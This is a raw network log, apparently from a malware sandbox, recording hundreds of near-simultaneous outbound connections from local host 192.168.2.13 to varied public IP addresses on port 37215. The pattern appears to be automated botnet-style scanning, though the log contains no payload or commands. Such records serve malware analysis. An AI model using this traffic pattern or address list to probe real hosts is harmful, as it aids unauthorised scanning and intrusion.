Jan 1, 2024 12:52:01.036349058 CET	37751	37215	192.168.2.13	122.4.12.136
Jan 1, 2024 12:52:01.036355972 CET	37751	37215	192.168.2.13	156.150.100.184
Jan 1, 2024 12:52:01.036361933 CET	37751	37215	192.168.2.13	197.148.146.202
Jan 1, 2024 12:52:01.036375046 CET	37751	37215	192.168.2.13	156.78.139.56
Jan 1, 2024 12:52:01.036376953 CET	37751	37215	192.168.2.13	37.161.220.165
Jan 1, 2024 12:52:01.036382914 CET	37751	37215	192.168.2.13	197.92.30.63
Jan 1, 2024 12:52:01.036387920 CET	37751	37215	192.168.2.13	37.27.137.88
Jan 1, 2024 12:52:01.036392927 CET	37751	37215	192.168.2.13	94.113.231.107
Jan 1, 2024 12:52:01.036392927 CET	37751	37215	192.168.2.13	122.102.97.255
Jan 1, 2024 12:52:01.036415100 CET	37751	37215	192.168.2.13	41.217.212.153
Jan 1, 2024 12:52:01.036415100 CET	37751	37215	192.168.2.13	197.201.4.213
Jan 1, 2024 12:52:01.036421061 CET	37751	37215	192.168.2.13	156.137.8.212
Jan 1, 2024 12:52:01.036426067 CET	37751	37215	192.168.2.13	197.5.14.153
Jan 1, 2024 12:52:01.036427975 CET	37751	37215	192.168.2.13	156.255.200.113
Jan 1, 2024 12:52:01.036428928 CET	37751	37215	192.168.2.13	197.184.194.97
Jan 1, 2024 12:52:01.036429882 CET	37751	37215	192.168.2.13	107.30.65.42
Jan 1, 2024 12:52:01.036442041 CET	37751	37215	192.168.2.13	120.167.100.19
Jan 1, 2024 12:52:01.036442995 CET	37751	37215	192.168.2.13	156.255.105.136
Jan 1, 2024 12:52:01.036442995 CET	37751	37215	192.168.2.13	41.230.74.106
Jan 1, 2024 12:52:01.036448956 CET	37751	37215	192.168.2.13	41.250.160.75
Jan 1, 2024 12:52:01.036449909 CET	37751	37215	192.168.2.13	181.214.121.252
Jan 1, 2024 12:52:01.036449909 CET	37751	37215	192.168.2.13	41.19.173.205
Jan 1, 2024 12:52:01.036451101 CET	37751	37215	192.168.2.13	41.68.53.50
Jan 1, 2024 12:52:01.036457062 CET	37751	37215	192.168.2.13	41.188.50.227
Jan 1, 2024 12:52:01.036457062 CET	37751	37215	192.168.2.13	41.137.69.98
Jan 1, 2024 12:52:01.036457062 CET	37751	37215	192.168.2.13	45.8.189.146
Jan 1, 2024 12:52:01.036458015 CET	37751	37215	192.168.2.13	190.199.126.26
Jan 1, 2024 12:52:01.036474943 CET	37751	37215	192.168.2.13	41.102.199.175
Jan 1, 2024 12:52:01.036477089 CET	37751	37215	192.168.2.13	197.52.134.153
Jan 1, 2024 12:52:01.036477089 CET	37751	37215	192.168.2.13	156.29.148.133
Jan 1, 2024 12:52:01.036477089 CET	37751	37215	192.168.2.13	41.129.152.50
Jan 1, 2024 12:52:01.036477089 CET	37751	37215	192.168.2.13	197.253.173.227
Jan 1, 2024 12:52:01.036479950 CET	37751	37215	192.168.2.13	190.113.13.67
Jan 1, 2024 12:52:01.036479950 CET	37751	37215	192.168.2.13	197.187.133.56
Jan 1, 2024 12:52:01.036479950 CET	37751	37215	192.168.2.13	197.140.79.231
Jan 1, 2024 12:52:01.036479950 CET	37751	37215	192.168.2.13	156.108.211.254
Jan 1, 2024 12:52:01.036483049 CET	37751	37215	192.168.2.13	156.116.40.164
Jan 1, 2024 12:52:01.036484003 CET	37751	37215	192.168.2.13	197.234.128.244
Jan 1, 2024 12:52:01.036484003 CET	37751	37215	192.168.2.13	154.1.177.177
Jan 1, 2024 12:52:01.036484003 CET	37751	37215	192.168.2.13	92.79.183.195
Jan 1, 2024 12:52:01.036489010 CET	37751	37215	192.168.2.13	41.122.189.34
Jan 1, 2024 12:52:01.036489010 CET	37751	37215	192.168.2.13	156.110.232.19
Jan 1, 2024 12:52:01.036495924 CET	37751	37215	192.168.2.13	156.254.157.173
Jan 1, 2024 12:52:01.036495924 CET	37751	37215	192.168.2.13	154.4.111.185
Jan 1, 2024 12:52:01.036495924 CET	37751	37215	192.168.2.13	156.22.90.39
Jan 1, 2024 12:52:01.036495924 CET	37751	37215	192.168.2.13	37.156.203.147
Jan 1, 2024 12:52:01.036501884 CET	37751	37215	192.168.2.13	156.86.213.217
Jan 1, 2024 12:52:01.036501884 CET	37751	37215	192.168.2.13	156.187.100.39
Jan 1, 2024 12:52:01.036501884 CET	37751	37215	192.168.2.13	41.124.215.60
Jan 1, 2024 12:52:01.036501884 CET	37751	37215	192.168.2.13	156.116.107.147
Jan 1, 2024 12:52:01.036501884 CET	37751	37215	192.168.2.13	121.212.36.235
Jan 1, 2024 12:52:01.036504984 CET	37751	37215	192.168.2.13	156.200.237.59
Jan 1, 2024 12:52:01.036501884 CET	37751	37215	192.168.2.13	156.145.172.221
Jan 1, 2024 12:52:01.036509037 CET	37751	37215	192.168.2.13	45.99.33.187
Jan 1, 2024 12:52:01.036509037 CET	37751	37215	192.168.2.13	156.61.44.117
Jan 1, 2024 12:52:01.036509037 CET	37751	37215	192.168.2.13	197.190.69.232
Jan 1, 2024 12:52:01.036509037 CET	37751	37215	192.168.2.13	181.165.162.121
Jan 1, 2024 12:52:01.036513090 CET	37751	37215	192.168.2.13	197.13.82.141
Jan 1, 2024 12:52:01.036513090 CET	37751	37215	192.168.2.13	181.196.176.169
Jan 1, 2024 12:52:01.036516905 CET	37751	37215	192.168.2.13	197.218.214.242
Jan 1, 2024 12:52:01.036516905 CET	37751	37215	192.168.2.13	196.238.176.224
Jan 1, 2024 12:52:01.036516905 CET	37751	37215	192.168.2.13	156.175.161.190
Jan 1, 2024 12:52:01.036518097 CET	37751	37215	192.168.2.13	41.124.161.35
Jan 1, 2024 12:52:01.036518097 CET	37751	37215	192.168.2.13	41.244.29.98
Jan 1, 2024 12:52:01.036518097 CET	37751	37215	192.168.2.13	121.82.11.35
Jan 1, 2024 12:52:01.036530018 CET	37751	37215	192.168.2.13	41.245.162.78
Jan 1, 2024 12:52:01.036530018 CET	37751	37215	192.168.2.13	95.74.219.108
Jan 1, 2024 12:52:01.036530018 CET	37751	37215	192.168.2.13	156.150.13.69
Jan 1, 2024 12:52:01.036530018 CET	37751	37215	192.168.2.13	156.228.245.112
Jan 1, 2024 12:52:01.036530018 CET	37751	37215	192.168.2.13	222.175.243.206
Jan 1, 2024 12:52:01.036530018 CET	37751	37215	192.168.2.13	37.1.66.39
Jan 1, 2024 12:52:01.036530018 CET	37751	37215	192.168.2.13	107.83.211.112
Jan 1, 2024 12:52:01.036530018 CET	37751	37215	192.168.2.13	197.165.43.80
Jan 1, 2024 12:52:01.036541939 CET	37751	37215	192.168.2.13	197.54.12.161
Jan 1, 2024 12:52:01.036541939 CET	37751	37215	192.168.2.13	197.72.93.144
Jan 1, 2024 12:52:01.036541939 CET	37751	37215	192.168.2.13	197.212.129.81
Jan 1, 2024 12:52:01.036541939 CET	37751	37215	192.168.2.13	41.77.139.0
Jan 1, 2024 12:52:01.036541939 CET	37751	37215	192.168.2.13	156.230.133.97
Jan 1, 2024 12:52:01.036541939 CET	37751	37215	192.168.2.13	197.58.200.210
Jan 1, 2024 12:52:01.036541939 CET	37751	37215	192.168.2.13	197.119.147.90
Jan 1, 2024 12:52:01.036551952 CET	37751	37215	192.168.2.13	41.45.21.4
Jan 1, 2024 12:52:01.036559105 CET	37751	37215	192.168.2.13	197.201.165.170
Jan 1, 2024 12:52:01.036560059 CET	37751	37215	192.168.2.13	41.139.246.161
Jan 1, 2024 12:52:01.036560059 CET	37751	37215	192.168.2.13	41.227.24.166
Jan 1, 2024 12:52:01.036560059 CET	37751	37215	192.168.2.13	196.37.99.16
Jan 1, 2024 12:52:01.036561966 CET	37751	37215	192.168.2.13	122.85.190.50
Jan 1, 2024 12:52:01.036576986 CET	37751	37215	192.168.2.13	156.165.25.171
Jan 1, 2024 12:52:01.036576986 CET	37751	37215	192.168.2.13	197.232.94.149
Jan 1, 2024 12:52:01.036581993 CET	37751	37215	192.168.2.13	197.192.119.98
Jan 1, 2024 12:52:01.036585093 CET	37751	37215	192.168.2.13	190.89.68.71
Jan 1, 2024 12:52:01.036585093 CET	37751	37215	192.168.2.13	41.70.113.209
Jan 1, 2024 12:52:01.036595106 CET	37751	37215	192.168.2.13	157.224.67.161
Jan 1, 2024 12:52:01.036597013 CET	37751	37215	192.168.2.13	197.57.8.206
Jan 1, 2024 12:52:01.036601067 CET	37751	37215	192.168.2.13	156.113.244.126
Jan 1, 2024 12:52:01.036601067 CET	37751	37215	192.168.2.13	156.228.239.216
Jan 1, 2024 12:52:01.036604881 CET	37751	37215	192.168.2.13	160.168.75.114
Jan 1, 2024 12:52:01.036607981 CET	37751	37215	192.168.2.13	197.24.228.99
Jan 1, 2024 12:52:01.036613941 CET	37751	37215	192.168.2.13	197.21.10.158
Jan 1, 2024 12:52:01.036619902 CET	37751	37215	192.168.2.13	102.175.246.0
Jan 1, 2024 12:52:01.036627054 CET	37751	37215	192.168.2.13	156.57.233.144
Jan 1, 2024 12:52:01.036629915 CET	37751	37215	192.168.2.13	156.158.56.140
Jan 1, 2024 12:52:01.036633968 CET	37751	37215	192.168.2.13	156.78.183.71
Jan 1, 2024 12:52:01.036672115 CET	37751	37215	192.168.2.13	156.76.159.140
Jan 1, 2024 12:52:01.036672115 CET	37751	37215	192.168.2.13	41.12.145.174
Jan 1, 2024 12:52:01.036674976 CET	37751	37215	192.168.2.13	197.132.246.231
Jan 1, 2024 12:52:01.036678076 CET	37751	37215	192.168.2.13	95.107.84.208
Jan 1, 2024 12:52:01.036685944 CET	37751	37215	192.168.2.13	102.88.53.147
Jan 1, 2024 12:52:01.036693096 CET	37751	37215	192.168.2.13	197.2.190.174
Jan 1, 2024 12:52:01.036705971 CET	37751	37215	192.168.2.13	41.151.158.245
Jan 1, 2024 12:52:01.036710978 CET	37751	37215	192.168.2.13	41.177.188.66
Jan 1, 2024 12:52:01.036715031 CET	37751	37215	192.168.2.13	156.119.84.33
Jan 1, 2024 12:52:01.036730051 CET	37751	37215	192.168.2.13	41.67.135.179
Jan 1, 2024 12:52:01.036730051 CET	37751	37215	192.168.2.13	45.131.237.132
Jan 1, 2024 12:52:01.036731005 CET	37751	37215	192.168.2.13	197.230.151.126
Jan 1, 2024 12:52:01.036735058 CET	37751	37215	192.168.2.13	196.18.118.230
Jan 1, 2024 12:52:01.036746025 CET	37751	37215	192.168.2.13	41.239.168.54
Jan 1, 2024 12:52:01.036748886 CET	37751	37215	192.168.2.13	154.178.35.125
Jan 1, 2024 12:52:01.036768913 CET	37751	37215	192.168.2.13	156.28.33.250
Jan 1, 2024 12:52:01.036782026 CET	37751	37215	192.168.2.13	197.167.42.237
Jan 1, 2024 12:52:01.036784887 CET	37751	37215	192.168.2.13	181.114.202.81
Jan 1, 2024 12:52:01.036786079 CET	37751	37215	192.168.2.13	197.49.250.135
Jan 1, 2024 12:52:01.036787033 CET	37751	37215	192.168.2.13	160.190.250.243
Jan 1, 2024 12:52:01.036787033 CET	37751	37215	192.168.2.13	95.92.130.95
Jan 1, 2024 12:52:01.036787033 CET	37751	37215	192.168.2.13	41.185.95.161
Jan 1, 2024 12:52:01.036787033 CET	37751	37215	192.168.2.13	120.201.170.155
Jan 1, 2024 12:52:01.036787033 CET	37751	37215	192.168.2.13	107.170.219.226
Jan 1, 2024 12:52:01.036791086 CET	37751	37215	192.168.2.13	41.105.48.221
Jan 1, 2024 12:52:01.036797047 CET	37751	37215	192.168.2.13	197.99.70.200
Jan 1, 2024 12:52:01.036797047 CET	37751	37215	192.168.2.13	156.65.105.89
Jan 1, 2024 12:52:01.036798000 CET	37751	37215	192.168.2.13	156.158.74.77
Jan 1, 2024 12:52:01.036801100 CET	37751	37215	192.168.2.13	156.181.128.45
Jan 1, 2024 12:52:01.036801100 CET	37751	37215	192.168.2.13	41.169.66.173
Jan 1, 2024 12:52:01.036803961 CET	37751	37215	192.168.2.13	197.180.161.133
Jan 1, 2024 12:52:01.036803961 CET	37751	37215	192.168.2.13	92.34.211.29
Jan 1, 2024 12:52:01.036807060 CET	37751	37215	192.168.2.13	92.9.64.196
Jan 1, 2024 12:52:01.036808014 CET	37751	37215	192.168.2.13	197.135.108.16
Jan 1, 2024 12:52:01.036808014 CET	37751	37215	192.168.2.13	156.201.73.115
Jan 1, 2024 12:52:01.036808968 CET	37751	37215	192.168.2.13	94.78.39.30
Jan 1, 2024 12:52:01.036808968 CET	37751	37215	192.168.2.13	197.195.30.4
Jan 1, 2024 12:52:01.036808968 CET	37751	37215	192.168.2.13	157.172.63.60
Jan 1, 2024 12:52:01.036808968 CET	37751	37215	192.168.2.13	41.116.252.94
Jan 1, 2024 12:52:01.036808968 CET	37751	37215	192.168.2.13	41.167.188.105
Jan 1, 2024 12:52:01.036808968 CET	37751	37215	192.168.2.13	156.231.23.109
Jan 1, 2024 12:52:01.036808968 CET	37751	37215	192.168.2.13	120.81.237.61
Jan 1, 2024 12:52:01.036814928 CET	37751	37215	192.168.2.13	41.7.190.250
Jan 1, 2024 12:52:01.036815882 CET	37751	37215	192.168.2.13	156.206.207.161
Jan 1, 2024 12:52:01.036828995 CET	37751	37215	192.168.2.13	156.8.164.194
Jan 1, 2024 12:52:01.036833048 CET	37751	37215	192.168.2.13	95.170.132.136
Jan 1, 2024 12:52:01.036834955 CET	37751	37215	192.168.2.13	41.33.23.123
Jan 1, 2024 12:52:01.036840916 CET	37751	37215	192.168.2.13	120.215.248.72
Jan 1, 2024 12:52:01.036859989 CET	37751	37215	192.168.2.13	138.96.4.212
Jan 1, 2024 12:52:01.036859989 CET	37751	37215	192.168.2.13	157.75.60.164
Jan 1, 2024 12:52:01.036859989 CET	37751	37215	192.168.2.13	156.199.53.22
Jan 1, 2024 12:52:01.036859989 CET	37751	37215	192.168.2.13	94.51.32.27
Jan 1, 2024 12:52:01.036859989 CET	37751	37215	192.168.2.13	92.224.158.230
Jan 1, 2024 12:52:01.036864996 CET	37751	37215	192.168.2.13	41.147.20.231
Jan 1, 2024 12:52:01.036881924 CET	37751	37215	192.168.2.13	190.237.180.163
Jan 1, 2024 12:52:01.036886930 CET	37751	37215	192.168.2.13	120.8.223.125
Jan 1, 2024 12:52:01.036886930 CET	37751	37215	192.168.2.13	156.0.20.126
Jan 1, 2024 12:52:01.036886930 CET	37751	37215	192.168.2.13	197.245.227.251
Jan 1, 2024 12:52:01.036891937 CET	37751	37215	192.168.2.13	156.36.34.23
Jan 1, 2024 12:52:01.036896944 CET	37751	37215	192.168.2.13	41.4.167.121
Jan 1, 2024 12:52:01.036897898 CET	37751	37215	192.168.2.13	197.48.79.210
Jan 1, 2024 12:52:01.036899090 CET	37751	37215	192.168.2.13	41.70.135.3
Jan 1, 2024 12:52:01.036900043 CET	37751	37215	192.168.2.13	121.15.2.237
Jan 1, 2024 12:52:01.036900043 CET	37751	37215	192.168.2.13	37.232.174.101
Jan 1, 2024 12:52:01.036906004 CET	37751	37215	192.168.2.13	41.91.21.103
Jan 1, 2024 12:52:01.036906004 CET	37751	37215	192.168.2.13	102.27.131.31
Jan 1, 2024 12:52:01.036906004 CET	37751	37215	192.168.2.13	41.188.40.133
Jan 1, 2024 12:52:01.036906958 CET	37751	37215	192.168.2.13	154.58.185.143
Jan 1, 2024 12:52:01.036906958 CET	37751	37215	192.168.2.13	197.117.192.241
Jan 1, 2024 12:52:01.036909103 CET	37751	37215	192.168.2.13	197.81.85.37
Jan 1, 2024 12:52:01.036909103 CET	37751	37215	192.168.2.13	92.208.123.119
Jan 1, 2024 12:52:01.036911011 CET	37751	37215	192.168.2.13	156.43.220.113
Jan 1, 2024 12:52:01.036912918 CET	37751	37215	192.168.2.13	41.62.113.29
Jan 1, 2024 12:52:01.036919117 CET	37751	37215	192.168.2.13	156.83.158.228
Jan 1, 2024 12:52:01.036920071 CET	37751	37215	192.168.2.13	156.138.152.11
Jan 1, 2024 12:52:01.036920071 CET	37751	37215	192.168.2.13	197.79.202.75
Jan 1, 2024 12:52:01.036920071 CET	37751	37215	192.168.2.13	156.243.248.211
Jan 1, 2024 12:52:01.036920071 CET	37751	37215	192.168.2.13	41.30.29.146
Jan 1, 2024 12:52:01.036920071 CET	37751	37215	192.168.2.13	156.236.253.210
Jan 1, 2024 12:52:01.036926985 CET	37751	37215	192.168.2.13	41.90.11.109
Jan 1, 2024 12:52:01.036926985 CET	37751	37215	192.168.2.13	122.18.29.187
Jan 1, 2024 12:52:01.036930084 CET	37751	37215	192.168.2.13	197.140.18.36
Jan 1, 2024 12:52:01.036931038 CET	37751	37215	192.168.2.13	156.221.134.17
Jan 1, 2024 12:52:01.036943913 CET	37751	37215	192.168.2.13	41.51.27.182
Jan 1, 2024 12:52:01.036943913 CET	37751	37215	192.168.2.13	41.124.75.245
Jan 1, 2024 12:52:01.036943913 CET	37751	37215	192.168.2.13	94.61.255.62
Jan 1, 2024 12:52:01.036947012 CET	37751	37215	192.168.2.13	197.19.134.59
Jan 1, 2024 12:52:01.036947966 CET	37751	37215	192.168.2.13	186.94.129.58
Jan 1, 2024 12:52:01.036947966 CET	37751	37215	192.168.2.13	156.175.206.178
Jan 1, 2024 12:52:01.036943913 CET	37751	37215	192.168.2.13	156.114.210.192
Jan 1, 2024 12:52:01.036950111 CET	37751	37215	192.168.2.13	197.250.255.55
Jan 1, 2024 12:52:01.036950111 CET	37751	37215	192.168.2.13	41.244.150.51
Jan 1, 2024 12:52:01.036950111 CET	37751	37215	192.168.2.13	45.199.84.179
Jan 1, 2024 12:52:01.036950111 CET	37751	37215	192.168.2.13	197.151.28.47
Jan 1, 2024 12:52:01.036950111 CET	37751	37215	192.168.2.13	157.59.122.4
Jan 1, 2024 12:52:01.036952972 CET	37751	37215	192.168.2.13	41.13.205.84
Jan 1, 2024 12:52:01.036952972 CET	37751	37215	192.168.2.13	45.35.12.30
Jan 1, 2024 12:52:01.036952972 CET	37751	37215	192.168.2.13	156.18.207.45
Jan 1, 2024 12:52:01.036952972 CET	37751	37215	192.168.2.13	41.36.60.94
Jan 1, 2024 12:52:01.036958933 CET	37751	37215	192.168.2.13	156.101.46.184
Jan 1, 2024 12:52:01.036958933 CET	37751	37215	192.168.2.13	41.253.191.42
Jan 1, 2024 12:52:01.036958933 CET	37751	37215	192.168.2.13	157.145.163.116
Jan 1, 2024 12:52:01.036966085 CET	37751	37215	192.168.2.13	156.200.152.89
Jan 1, 2024 12:52:01.036966085 CET	37751	37215	192.168.2.13	160.207.53.237
Jan 1, 2024 12:52:01.036966085 CET	37751	37215	192.168.2.13	197.103.62.63
Jan 1, 2024 12:52:01.036966085 CET	37751	37215	192.168.2.13	156.88.217.64
Jan 1, 2024 12:52:01.036977053 CET	37751	37215	192.168.2.13	197.142.186.165
Jan 1, 2024 12:52:01.036983013 CET	37751	37215	192.168.2.13	41.40.146.103
Jan 1, 2024 12:52:01.036983013 CET	37751	37215	192.168.2.13	41.101.55.123
Jan 1, 2024 12:52:01.036983013 CET	37751	37215	192.168.2.13	156.81.171.116
Jan 1, 2024 12:52:01.036987066 CET	37751	37215	192.168.2.13	41.43.243.9
Jan 1, 2024 12:52:01.036987066 CET	37751	37215	192.168.2.13	41.38.80.28
Jan 1, 2024 12:52:01.036987066 CET	37751	37215	192.168.2.13	41.67.226.219
Jan 1, 2024 12:52:01.036987066 CET	37751	37215	192.168.2.13	41.36.26.49
Jan 1, 2024 12:52:01.036987066 CET	37751	37215	192.168.2.13	197.125.243.54
Jan 1, 2024 12:52:01.036990881 CET	37751	37215	192.168.2.13	41.199.177.246
Jan 1, 2024 12:52:01.036992073 CET	37751	37215	192.168.2.13	41.18.138.236
Jan 1, 2024 12:52:01.036994934 CET	37751	37215	192.168.2.13	95.250.170.80
Jan 1, 2024 12:52:01.036994934 CET	37751	37215	192.168.2.13	156.176.160.1
Jan 1, 2024 12:52:01.036994934 CET	37751	37215	192.168.2.13	121.244.135.218
Jan 1, 2024 12:52:01.036994934 CET	37751	37215	192.168.2.13	41.74.182.10
Jan 1, 2024 12:52:01.036994934 CET	37751	37215	192.168.2.13	186.34.154.245
Jan 1, 2024 12:52:01.036994934 CET	37751	37215	192.168.2.13	94.128.182.134
Jan 1, 2024 12:52:01.036994934 CET	37751	37215	192.168.2.13	41.198.137.231
Jan 1, 2024 12:52:01.036994934 CET	37751	37215	192.168.2.13	94.116.108.66
Jan 1, 2024 12:52:01.037014008 CET	37751	37215	192.168.2.13	41.33.105.246
Jan 1, 2024 12:52:01.037014008 CET	37751	37215	192.168.2.13	138.5.188.154
Jan 1, 2024 12:52:01.037030935 CET	37751	37215	192.168.2.13	156.71.125.41
Jan 1, 2024 12:52:01.037031889 CET	37751	37215	192.168.2.13	197.60.241.9
Jan 1, 2024 12:52:01.037039042 CET	37751	37215	192.168.2.13	196.84.140.85
Jan 1, 2024 12:52:01.037043095 CET	37751	37215	192.168.2.13	222.97.134.226
Jan 1, 2024 12:52:01.037044048 CET	37751	37215	192.168.2.13	197.221.188.146
Jan 1, 2024 12:52:01.037045002 CET	37751	37215	192.168.2.13	41.33.169.244
Jan 1, 2024 12:52:01.037045002 CET	37751	37215	192.168.2.13	156.64.163.31
Jan 1, 2024 12:52:01.037045002 CET	37751	37215	192.168.2.13	197.97.123.109
Jan 1, 2024 12:52:01.037053108 CET	37751	37215	192.168.2.13	160.214.165.96
Jan 1, 2024 12:52:01.037053108 CET	37751	37215	192.168.2.13	156.208.251.63
Jan 1, 2024 12:52:01.037053108 CET	37751	37215	192.168.2.13	95.171.94.110
Jan 1, 2024 12:52:01.037053108 CET	37751	37215	192.168.2.13	197.253.205.36
Jan 1, 2024 12:52:01.037061930 CET	37751	37215	192.168.2.13	197.155.197.157
Jan 1, 2024 12:52:01.037071943 CET	37751	37215	192.168.2.13	197.246.157.237
Jan 1, 2024 12:52:01.037075996 CET	37751	37215	192.168.2.13	197.55.185.0
Jan 1, 2024 12:52:01.037077904 CET	37751	37215	192.168.2.13	222.199.79.207
Jan 1, 2024 12:52:01.037077904 CET	37751	37215	192.168.2.13	156.48.24.100
Jan 1, 2024 12:52:01.037084103 CET	37751	37215	192.168.2.13	197.202.222.52
Jan 1, 2024 12:52:01.037085056 CET	37751	37215	192.168.2.13	102.214.170.34
Jan 1, 2024 12:52:01.037085056 CET	37751	37215	192.168.2.13	41.62.251.119
Jan 1, 2024 12:52:01.037089109 CET	37751	37215	192.168.2.13	190.219.175.170
Jan 1, 2024 12:52:01.037091017 CET	37751	37215	192.168.2.13	45.222.50.85
Jan 1, 2024 12:52:01.037095070 CET	37751	37215	192.168.2.13	222.232.142.16
Jan 1, 2024 12:52:01.037095070 CET	37751	37215	192.168.2.13	156.151.65.19
Jan 1, 2024 12:52:01.037095070 CET	37751	37215	192.168.2.13	197.12.24.84
Jan 1, 2024 12:52:01.037096024 CET	37751	37215	192.168.2.13	41.225.237.165
Jan 1, 2024 12:52:01.037095070 CET	37751	37215	192.168.2.13	41.113.212.145
Jan 1, 2024 12:52:01.037098885 CET	37751	37215	192.168.2.13	197.11.175.15
Jan 1, 2024 12:52:01.037098885 CET	37751	37215	192.168.2.13	45.251.222.123
Jan 1, 2024 12:52:01.037106037 CET	37751	37215	192.168.2.13	107.19.181.36
Jan 1, 2024 12:52:01.037121058 CET	37751	37215	192.168.2.13	41.130.96.166
Jan 1, 2024 12:52:01.037127018 CET	37751	37215	192.168.2.13	41.213.135.50
Jan 1, 2024 12:52:01.037136078 CET	37751	37215	192.168.2.13	41.188.100.247
Jan 1, 2024 12:52:01.037144899 CET	37751	37215	192.168.2.13	156.44.128.77
Jan 1, 2024 12:52:01.037147045 CET	37751	37215	192.168.2.13	41.23.205.63
Jan 1, 2024 12:52:01.037149906 CET	37751	37215	192.168.2.13	41.203.225.226
Jan 1, 2024 12:52:01.037149906 CET	37751	37215	192.168.2.13	92.2.156.2
Jan 1, 2024 12:52:01.037156105 CET	37751	37215	192.168.2.13	157.163.185.50
Jan 1, 2024 12:52:01.037167072 CET	37751	37215	192.168.2.13	156.109.51.130
Jan 1, 2024 12:52:01.037168980 CET	37751	37215	192.168.2.13	156.255.215.127
Jan 1, 2024 12:52:01.037168980 CET	37751	37215	192.168.2.13	156.4.224.4
Jan 1, 2024 12:52:01.037170887 CET	37751	37215	192.168.2.13	197.7.88.231
Jan 1, 2024 12:52:01.037170887 CET	37751	37215	192.168.2.13	94.50.80.193
Jan 1, 2024 12:52:01.037168980 CET	37751	37215	192.168.2.13	102.37.15.195
Jan 1, 2024 12:52:01.037173986 CET	37751	37215	192.168.2.13	197.253.168.152
Jan 1, 2024 12:52:01.037184000 CET	37751	37215	192.168.2.13	92.76.217.146
Jan 1, 2024 12:52:01.037184000 CET	37751	37215	192.168.2.13	196.144.67.42
Jan 1, 2024 12:52:01.037188053 CET	37751	37215	192.168.2.13	41.141.81.180
Jan 1, 2024 12:52:01.037189007 CET	37751	37215	192.168.2.13	156.208.73.88
Jan 1, 2024 12:52:01.037189007 CET	37751	37215	192.168.2.13	197.197.48.184
Jan 1, 2024 12:52:01.037194014 CET	37751	37215	192.168.2.13	197.97.73.120
Jan 1, 2024 12:52:01.037190914 CET	37751	37215	192.168.2.13	138.159.92.160
Jan 1, 2024 12:52:01.037199020 CET	37751	37215	192.168.2.13	41.8.135.42
Jan 1, 2024 12:52:01.037199020 CET	37751	37215	192.168.2.13	41.187.126.236
Jan 1, 2024 12:52:01.037200928 CET	37751	37215	192.168.2.13	156.251.56.26
Jan 1, 2024 12:52:01.037200928 CET	37751	37215	192.168.2.13	41.88.134.241
Jan 1, 2024 12:52:01.037203074 CET	37751	37215	192.168.2.13	41.14.83.53
Jan 1, 2024 12:52:01.037200928 CET	37751	37215	192.168.2.13	197.189.46.147
Jan 1, 2024 12:52:01.037201881 CET	37751	37215	192.168.2.13	41.189.224.1
Jan 1, 2024 12:52:01.037192106 CET	37751	37215	192.168.2.13	190.249.165.176
Jan 1, 2024 12:52:01.037206888 CET	37751	37215	192.168.2.13	197.71.178.201
Jan 1, 2024 12:52:01.037192106 CET	37751	37215	192.168.2.13	197.120.177.157
Jan 1, 2024 12:52:01.037206888 CET	37751	37215	192.168.2.13	197.72.226.227
Jan 1, 2024 12:52:01.037192106 CET	37751	37215	192.168.2.13	156.246.19.76
Jan 1, 2024 12:52:01.037192106 CET	37751	37215	192.168.2.13	37.164.153.76
Jan 1, 2024 12:52:01.037214041 CET	37751	37215	192.168.2.13	41.140.103.116
Jan 1, 2024 12:52:01.037214041 CET	37751	37215	192.168.2.13	222.12.139.47
Jan 1, 2024 12:52:01.037214994 CET	37751	37215	192.168.2.13	156.91.112.139
Jan 1, 2024 12:52:01.037214994 CET	37751	37215	192.168.2.13	160.64.4.55
Jan 1, 2024 12:52:01.037239075 CET	37751	37215	192.168.2.13	156.148.197.121
Jan 1, 2024 12:52:01.037239075 CET	37751	37215	192.168.2.13	190.137.204.151
Jan 1, 2024 12:52:01.037239075 CET	37751	37215	192.168.2.13	197.54.149.28
Jan 1, 2024 12:52:01.037239075 CET	37751	37215	192.168.2.13	120.170.253.117
Jan 1, 2024 12:52:01.037241936 CET	37751	37215	192.168.2.13	197.223.72.63
Jan 1, 2024 12:52:01.037255049 CET	37751	37215	192.168.2.13	156.254.217.231
Jan 1, 2024 12:52:01.037262917 CET	37751	37215	192.168.2.13	181.233.196.243
Jan 1, 2024 12:52:01.037262917 CET	37751	37215	192.168.2.13	107.112.28.39
Jan 1, 2024 12:52:01.037262917 CET	37751	37215	192.168.2.13	41.154.16.157
Jan 1, 2024 12:52:01.037262917 CET	37751	37215	192.168.2.13	41.165.96.106
Jan 1, 2024 12:52:01.037262917 CET	37751	37215	192.168.2.13	156.8.110.75
Jan 1, 2024 12:52:01.037271023 CET	37751	37215	192.168.2.13	196.137.123.154
Jan 1, 2024 12:52:01.037273884 CET	37751	37215	192.168.2.13	156.131.118.62
Jan 1, 2024 12:52:01.037277937 CET	37751	37215	192.168.2.13	102.50.136.148
Jan 1, 2024 12:52:01.037280083 CET	37751	37215	192.168.2.13	41.179.114.227
Jan 1, 2024 12:52:01.037280083 CET	37751	37215	192.168.2.13	156.23.141.213
Jan 1, 2024 12:52:01.037281036 CET	37751	37215	192.168.2.13	190.39.185.196
Jan 1, 2024 12:52:01.037281990 CET	37751	37215	192.168.2.13	186.198.59.22
Jan 1, 2024 12:52:01.037282944 CET	37751	37215	192.168.2.13	41.38.64.11
Jan 1, 2024 12:52:01.037285089 CET	37751	37215	192.168.2.13	41.140.140.80
Jan 1, 2024 12:52:01.037302971 CET	37751	37215	192.168.2.13	41.207.71.187
Jan 1, 2024 12:52:01.037321091 CET	37751	37215	192.168.2.13	41.230.37.184
Jan 1, 2024 12:52:01.037322998 CET	37751	37215	192.168.2.13	157.77.96.198
Jan 1, 2024 12:52:01.037324905 CET	37751	37215	192.168.2.13	197.92.199.21
Jan 1, 2024 12:52:01.037326097 CET	37751	37215	192.168.2.13	156.188.152.156
Jan 1, 2024 12:52:01.037326097 CET	37751	37215	192.168.2.13	156.93.31.221
Jan 1, 2024 12:52:01.037328005 CET	37751	37215	192.168.2.13	107.213.238.233
Jan 1, 2024 12:52:01.037341118 CET	37751	37215	192.168.2.13	156.107.159.130
Jan 1, 2024 12:52:01.037345886 CET	37751	37215	192.168.2.13	41.223.29.130
Jan 1, 2024 12:52:01.037345886 CET	37751	37215	192.168.2.13	41.70.229.84
Jan 1, 2024 12:52:01.037347078 CET	37751	37215	192.168.2.13	197.211.199.150
Jan 1, 2024 12:52:01.037353992 CET	37751	37215	192.168.2.13	156.66.43.227
Jan 1, 2024 12:52:01.037367105 CET	37751	37215	192.168.2.13	156.78.41.233
Jan 1, 2024 12:52:01.037367105 CET	37751	37215	192.168.2.13	197.181.207.250
Jan 1, 2024 12:52:01.037369013 CET	37751	37215	192.168.2.13	41.206.174.94
